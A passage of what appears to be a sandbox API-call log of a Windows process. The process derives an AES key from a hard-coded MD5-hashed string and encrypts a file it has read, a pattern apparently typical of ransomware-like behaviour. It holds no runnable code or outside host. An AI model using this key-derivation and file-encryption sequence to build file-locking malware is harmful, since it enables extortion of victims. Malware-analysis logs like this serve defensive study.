lpsz="__CRYPT_REFCOUNT") returned 0x10 [0026.081] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0026.081] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.081] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0026.081] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.081] CryptCreateHash (in: hProv=0xe8f40632e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0026.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="4e358fdad0b60de5b4aaab66dab69723", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0026.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="4e358fdad0b60de5b4aaab66dab69723", cchWideChar=33, lpMultiByteStr=0xe8f418b600, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4e358fdad0b60de5b4aaab66dab69723", lpUsedDefaultChar=0x0) returned 33 [0026.082] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0026.083] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="4e358fdad0b60de5b4aaab66dab69723", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0026.083] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="4e358fdad0b60de5b4aaab66dab69723", cchWideChar=33, lpMultiByteStr=0xe8f418b180, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4e358fdad0b60de5b4aaab66dab69723", lpUsedDefaultChar=0x0) returned 33 [0026.084] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.084] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.084] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0026.085] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0xe8f417ada0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0026.085] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptHashData") returned 0x7ffe2a59e86c [0026.085] CryptHashData (hHash=0xe8f4062330, pbData=0xe8f418b270, dwDataLen=0x20, dwFlags=0x1) returned 1 [0026.085] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.086] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.086] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.086] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.086] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.086] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0026.086] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.086] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.086] CryptDeriveKey (in: hProv=0xe8f40632e0, Algid=0x660e, hBaseData=0xe8f4062330, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f40625d0) returned 1 [0026.086] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.086] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.086] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.086] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.086] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.086] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.087] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0026.087] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.087] CryptDestroyHash (hHash=0xe8f4062330) returned 1 [0026.087] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.087] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.087] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.087] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.087] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.087] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0026.087] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0026.087] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.087] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.087] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.087] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.087] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.087] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.087] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.089] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0026.089] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x619c, lpOverlapped=0x0) returned 1 [0026.090] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0026.092] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.092] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.092] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.092] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0026.092] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.092] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.093] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0026.093] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0026.093] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0026.093] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0026.093] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0026.093] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.093] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0026.094] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.097] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0026.097] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0xe8f417abc0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0026.098] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptGetKeyParam") returned 0x7ffe2a5cb750 [0026.098] CryptGetKeyParam (in: hKey=0xe8f40625d0, dwParam=0x7, pbData=0xe8f4064d60, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064d60*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0026.099] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0026.099] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0026.100] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.100] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.100] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.100] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.100] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.100] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.100] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0026.100] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.100] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0026.100] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0026.101] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.101] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.101] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0026.101] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0026.101] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0026.101] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.101] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.101] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.101] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.101] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.101] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.101] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.101] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.101] CryptEncrypt (in: hKey=0xe8f40625d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x619c, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x61a0) returned 1 [0026.101] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.101] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.101] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.101] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.101] CharLowerBuffW (in: lpsz="byte[24993]", cchLength=0xb | out: lpsz="byte[24993]") returned 0xb [0026.101] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.102] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.102] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.102] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.102] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.102] CryptEncrypt (in: hKey=0xe8f40625d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f4386390*, pdwDataLen=0xe8f3dfdf68*=0x619c, dwBufLen=0x61a0 | out: pbData=0xe8f4386390*, pdwDataLen=0xe8f3dfdf68*=0x61a0) returned 1 [0026.102] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.102] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.102] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.102] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.102] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.102] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.102] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0026.102] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.102] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0026.102] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0026.102] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0026.102] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.102] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0026.102] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0026.102] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.102] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.102] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.104] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.104] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.104] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.104] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.104] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.104] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0026.104] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0026.104] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.105] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0026.105] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.105] CryptDestroyKey (hKey=0xe8f40625d0) returned 1 [0026.105] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0026.105] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0026.105] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0026.105] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0026.105] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0026.105] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0026.105] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0026.105] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0026.105] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0026.105] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0026.105] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0026.105] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0026.105] PeekMessageW (in: 